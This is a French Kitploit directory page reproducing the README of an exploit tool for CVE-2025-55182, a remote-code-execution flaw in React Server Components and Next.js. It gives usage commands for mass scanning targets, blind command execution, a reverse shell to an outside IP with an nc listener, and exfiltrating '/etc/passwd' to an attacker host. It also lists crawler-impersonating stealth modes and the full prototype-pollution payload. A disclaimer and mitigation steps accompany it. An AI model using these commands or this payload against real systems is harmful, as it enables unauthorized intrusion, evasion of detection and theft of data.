Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-55182-exp — CVE-2025-55182 Outil d'exploitation d'exécution de code à distance pour React Server Components | Kitploit
Outils/GitHubGitHub/spritualkb/cve-2025-55182-exp
Scanners de VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionApprentissage et ÉducationRed TeamingOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubspritualkb/cve-2025-55182-exp

CVE-2025-55182-exp

CVE-2025-55182 Outil d'exploitation d'exécution de code à distance pour React Server Components

461221il y a 10 moisVérifié par Kitploit
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-55182-exp

CVE Type Python License

🔥 Aperçu

CVE-2025-55182 est une vulnérabilité critique d'exécution de code à distance (RCE) dans les composants serveur React (RSC) affectant les applications Next.js utilisant App Router avec Server Actions.

La vulnérabilité réside dans le processus de désérialisation du protocole Flight, permettant aux attaquants d'atteindre une exécution de code arbitraire via une pollution de prototype.

⚠️ Avertissement / 免责声明

POUR TESTS DE SÉCURITÉ AUTORISÉS UNIQUEMENT

Cet outil est fourni uniquement à des fins éducatives et de tests de pénétration autorisés. L'accès non autorisé aux systèmes informatiques est illégal. Toute utilisation illégale ou non autorisée de cet outil relève de la seule responsabilité de l'utilisateur. L'auteur décline toute responsabilité.

本工具仅供授权安全测试和教育目的使用。如有任何违规、非法操作,一切后果由使用者自行承担,与本人无关。

Veuillez lire attentivement le DISCLAIMER.md avant d'utiliser cet outil.

En utilisant cet outil, vous acceptez que :

  • Vous avez obtenu une autorisation appropriée pour tout test
  • Vous respecterez toutes les lois et réglementations applicables
  • Vous assumez l'entière responsabilité de vos actions
  • L'auteur ne pourra être tenu responsable de toute mauvaise utilisation

📋 Versions affectées

ComposantVersions affectées
react-server-dom-webpack19.0.0 - 19.2.0
Next.js15.x, 16.x (App Router + Server Actions)

🛠️ Installation

# Cloner le dépôt
git clone https://github.com/Spritualkb/CVE-2025-55182-exp.git
cd CVE-2025-55182-exp

# Installer les dépendances
pip install requests
pip install requests[socks]  # Pour le support proxy SOCKS5

📖 Utilisation

Vérifier une cible unique

python3 exploit.py http://cible:3000 --check

Analyse par lot à partir d'un fichier

# Analyse par lot de base
python3 exploit.py -f cibles.txt --check

# Avec mode furtif et délai
python3 exploit.py -f cibles.txt --check --stealth crawler --delay 2

# Enregistrer les cibles vulnérables dans un fichier
python3 exploit.py -f cibles.txt --check -o vulnérables.txt

Exécuter une commande (RCE aveugle)

python3 exploit.py http://cible:3000 -c "id"

Shell inversé

# Démarrer l'écouteur d'abord
nc -lvnp 4444

# Exécuter le shell inversé
python3 exploit.py http://cible:3000 --revshell 10.0.0.1 4444

Exfiltrer la sortie d'une commande

# Démarrer l'écouteur
nc -lvnp 4444

# Exécuter et exfiltrer la sortie
python3 exploit.py http://cible:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444

Utiliser un proxy

python3 exploit.py http://cible:3000 --check --proxy socks5://127.0.0.1:1080

🎭 Modes furtifs

ModeDescription
browserImite les requêtes d'un vrai navigateur (par défaut)
crawlerImite les robots d'indexation (Googlebot, Baiduspider, etc.)
securityUtilise les User-Agents des scanners de sécurité

🔧 Options

OptionDescription
targetURL cible (ex., http://localhost:3000)
-f, --fileFichier contenant les URL cibles (une par ligne)
-o, --outputFichier de sortie pour les cibles vulnérables
-c, --commandCommande à exécuter (aveugle)
--checkVérifier la vulnérabilité
--proxyProxy SOCKS5 (ex., socks5://127.0.0.1:1080)
--stealthMode furtif : browser, crawler, security
--delayDélai entre les requêtes en secondes
--variantsUtiliser plusieurs variantes de charge utile
--revshell IP PORTShell inversé vers IP:PORT
--exfil CMD IP PORTExécuter CMD et envoyer la sortie vers IP:PORT
-t, --timeoutDélai d'attente de la requête en secondes (défaut : 15)

🔬 Détails techniques

Mécanisme de la vulnérabilité

L'exploit exploite la pollution de prototype dans la désérialisation du protocole Flight :

  1. Pollution de prototype : Pollue Object.prototype.then via "$1:__proto__:then"
  2. Accès au constructeur de fonction : Définit _formData.get sur le constructeur Function via "$1:constructor:constructor"
  3. Injection de code : Injecte du code malveillant via _prefix qui est passé à Function()

Structure de la charge utile

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "<code_malveillant>",
    "_chunks": "$Q2",
    "_formData": {"get": "$1:constructor:constructor"}
  }
}

📁 Structure du fichier

CVE-2025-55182-exp/
├── exploit.py      # Script d'exploitation principal
├── targets.txt     # Liste des URL cibles (une par ligne)
└── README.md       # Ce fichier

📝 Format de targets.txt

# Les commentaires commencent par #
http://cible1.com:3000
https://cible2.com
cible3.com:3000

🛡️ Atténuation

  1. Mettez à jour vers les dernières versions corrigées de react-server-dom-webpack et Next.js
  2. Implémentez une validation des entrées sur les Server Actions
  3. Utilisez des règles WAF (pare-feu applicatif) pour détecter les charges utiles malveillantes du protocole Flight
  4. Surveillez les erreurs serveur inhabituelles (HTTP 500) avec des messages liés au prototype

📜 Licence

Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.


⚠️ Avertissement légal / 法律免责声明

English (resté en anglais car section anglaise)

Terms of Use

By downloading, copying, installing, or using this software, you agree to be bound by the terms of this disclaimer.

Intended Purpose

This tool is designed exclusively for:

  • Authorized penetration testing
  • Security research and education
  • Vulnerability assessment with proper authorization
  • CTF (Capture The Flag) competitions
  • Personal lab environments

Prohibited Use

You SHALL NOT use this tool for:

  • Unauthorized access to computer systems
  • Any illegal activities
  • Attacking systems without explicit written permission
  • Causing damage to any systems or data
  • Any activities that violate local, state, national, or international laws

No Warranty

THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED. THE AUTHOR(S) DISCLAIM ALL WARRANTIES, INCLUDING BUT NOT LIMITED TO:

  • MERCHANTABILITY
  • FITNESS FOR A PARTICULAR PURPOSE
  • NON-INFRINGEMENT

Limitation of Liability

IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY:

  • Direct, indirect, incidental, special, exemplary, or consequential damages
  • Loss of data, profits, or business opportunities
  • Legal consequences arising from misuse of this tool

User Responsibility

Télécharger l’outil